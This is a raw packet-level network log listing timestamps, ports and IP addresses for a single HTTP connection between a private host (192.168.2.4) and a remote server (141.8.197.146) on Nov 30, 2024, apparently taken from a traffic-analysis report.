Nov 30, 2024 05:00:15.381972075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.382026911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.382854939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.382929087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.382940054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.383796930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.383883953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.383922100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.384782076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.384829998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.384884119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.385730028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.385797977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.385854006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.386688948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.386749029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.386781931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.387665033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.387738943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.387772083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.388613939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.388684034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.388720036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.389559984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.389616013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.389678001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.390501976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.390537977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.390625954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.391494989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.391545057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.391587019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.392436981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.392491102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.392549992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.393486977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.393543959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.393587112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.394365072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.394431114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.394463062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.395319939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.395378113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.395417929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.396367073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.396434069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.396442890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.397239923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.397290945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.397313118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.398195982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.398267031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.398303986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.399139881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.399193048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.399241924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.400100946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.400171995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.400213957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.401072979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.401156902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.401180983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.402029037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.402074099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.402144909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.402995110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.403048038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.403110027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.403949976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.404016972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.404056072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.404905081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.404947042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.404983997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.405864000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.405920982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.405946016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.406794071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.406884909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.406903982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.407752991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.407798052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.407871008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.408741951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.408835888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.408838034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.409699917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.409770012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.409804106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.410662889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.410739899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.410763979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.411616087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.411676884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.411778927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.412564039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.412616968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.412657022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.413516045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.413556099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.413613081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.414483070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.414593935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.414602041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.415426970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.415478945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.415514946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.416399002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.416459084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.416516066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.417344093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.417390108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.417453051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.418294907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.418363094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.418390036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.419266939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.419323921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.419359922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.420214891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.420280933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.420347929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.421153069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.421195984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.453568935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.453721046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.453767061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.453979969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.454070091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.454133034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.454711914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.454828024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.454874039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.455691099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.455810070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.455858946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.456650972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.456753969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.456790924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.457596064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.457705021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.457787991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.458540916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.458635092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.458703041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.578493118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.578547955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.578597069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.578932047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.579046011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.579087019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.579891920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.580028057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.580085039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.580833912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.581191063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.581235886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.581274033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.582137108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.582151890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.582200050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.583100080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.583111048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.583163023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.584072113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.584124088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.584141016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.584990025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.585001945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.585043907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.585937023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.585990906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.586033106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.586899996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.586955070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.586997032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.587846041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.587903023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.587934971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.588807106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.588855982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.588924885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.589771986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.589819908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.589868069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.590806961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.590857983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.590898037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.591696978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.591752052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.591804981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.592628002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.592684984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.592744112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.593602896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.593647003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.593682051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.594544888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.594593048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.594660044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.595520020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.595566988 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.595599890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.596457005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.596506119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.596558094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.597425938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.597471952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.597527027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.598393917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.598443985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.598481894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.599344969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.599395990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.599433899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.600315094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.600367069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.600394011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.601262093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.601306915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.601336956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.602227926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.602269888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.602329016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.603172064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.603219986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.603260994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.604160070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.604211092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.604259014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.605115891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.605171919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.605199099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.606043100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.606091976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.606121063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.607001066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.607053041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.607114077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.607974052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.608022928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.608055115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.609009027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.609059095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.609102011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.609885931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.609945059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.609986067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.610874891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.610920906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.610948086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.611800909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.611850023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.611989975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.612763882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.612811089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.612824917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.613711119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.613758087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.613811970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.614694118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.614746094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.614778996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.615641117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.615688086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.615744114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.616584063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.616627932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.616687059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.617542982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.617588043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.617623091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.618508101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.618555069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.618597031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.619469881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.619517088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.619613886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.620429993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.620472908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.620563984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.621392012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.621438980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.621445894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.622301102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.622353077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.654963970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.655040026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.655098915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.655318975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.655529976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.655580044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.655635118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.656518936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.656574011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.656620026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.657474041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.657525063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.657618046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.658441067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.658493996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.658524990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.659384012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.659439087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.659482002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.660326958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.660377026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.779653072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.779737949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.779779911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.780064106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.780312061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.780361891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.780392885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.781248093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.781333923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.781364918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.782212019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.782284021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.782301903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.783165932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.783217907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.783276081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.784136057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.784192085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.784229994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.785136938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.785191059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.785238028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.786089897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.786140919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.786159039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.787039042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.787084103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.787163973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.787985086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.788031101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.788073063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.788933992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.788979053 CET	49732	80	192.168.2.4	141.8.197.146
